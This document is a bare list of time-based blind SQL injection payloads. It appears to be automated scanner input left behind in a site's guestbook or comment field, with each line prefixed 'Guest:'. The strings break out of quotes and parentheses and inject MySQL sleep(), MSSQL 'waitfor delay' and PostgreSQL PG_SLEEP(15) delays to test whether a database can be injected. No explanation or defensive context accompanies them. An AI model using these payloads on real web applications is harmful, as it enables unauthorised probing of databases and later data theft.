(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:-1; waitfor delay '0:0:15' --

Guest:-1); waitfor delay '0:0:15' --

Guest:-1 waitfor delay '0:0:15' --

Guest:yVO6gv4e'; waitfor delay '0:0:15' --

Guest:g3I8WP21'); waitfor delay '0:0:15' --

Guest:0SDVy2Qs')); waitfor delay '0:0:15' --

Guest:LmWjseGC' OR 499=(SELECT 499 FROM PG_SLEEP(15))--

Guest:OGzcotsH') OR 860=(SELECT 860 FROM PG_SLEEP(15))--

Guest:YQAzm873')) OR 529=(SELECT 529 FROM PG_SLEEP(15))--